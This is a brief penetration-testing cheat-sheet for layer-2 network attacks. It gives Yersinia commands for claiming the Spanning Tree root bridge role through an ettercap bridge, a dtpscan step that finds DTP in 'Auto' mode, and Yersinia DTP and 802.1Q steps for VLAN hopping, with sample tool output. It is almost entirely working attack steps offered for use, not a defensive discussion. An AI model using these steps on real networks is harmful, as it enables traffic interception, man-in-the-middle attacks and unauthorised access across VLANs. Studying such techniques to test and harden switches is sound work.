Spanning Tree Protocol (SPT) & Bridge Protocol Data Unit (BPDU):
Yersinia
result:
┌── yersinia 0.7.3 by Slay & tomac - STP mode ─────────────────────[10:29:40]┐
│ RootId BridgeId Port Iface Last seen │
│ 5080.760F0E13AC58 CB09.E7CD90117CAA 8002 eth1 26 Aug 10:29:39 │
│ 5080.760F0E14AC58 CB09.E7CD90127CAA 8002 eth2 26 Aug 10:29:38 │
bridge adapters (requires two) into each switch:
# bridge adapters
ettercap -T -i eth1 -B eth2 -q
# Run Yersinia
Yersinia
I
# Select Spanning Tree Protocol
g
# select root role :)
x
4
Dynamic Trunking Protocol (DTP)
git clone https://github.com/commonexploits/dtpscan.git
cd dtpscan/
chmod a+x dtpscan.sh
./dtpscan.sh
result:
[-] Now Sniffing DTP packets on interface eth1 for 90 seconds.
[+] DTP was found enabled in it's default state of 'Auto'.
[+] VLAN hopping will be possible.
Run Yersinia:
yersinia –I
# select adapter
g
# select DTP
l
# see data from available VLANs using the 802.1Q menu
g
# this will reveal the vlan i.e.:
┌── yersinia 0.7.3 by Slay & tomac - 802.1Q mode ────────────────[15:00:08]┐
│ VLAN L2Prot Src IP Dst IP IP Prot Iface Last seen │
│ 0250 ARP 10.121.5.1 10.121.5.17? UKN eth1 11 Aug 14:51:00 │
│ 0250 ARP 10.121.5.235 10.121.5.1? UKN eth1 11 Aug 14:52:13 │
│ 0250 ARP 10.121.5.87 10.121.5.1? UKN eth1 11 Aug 14:52:20 │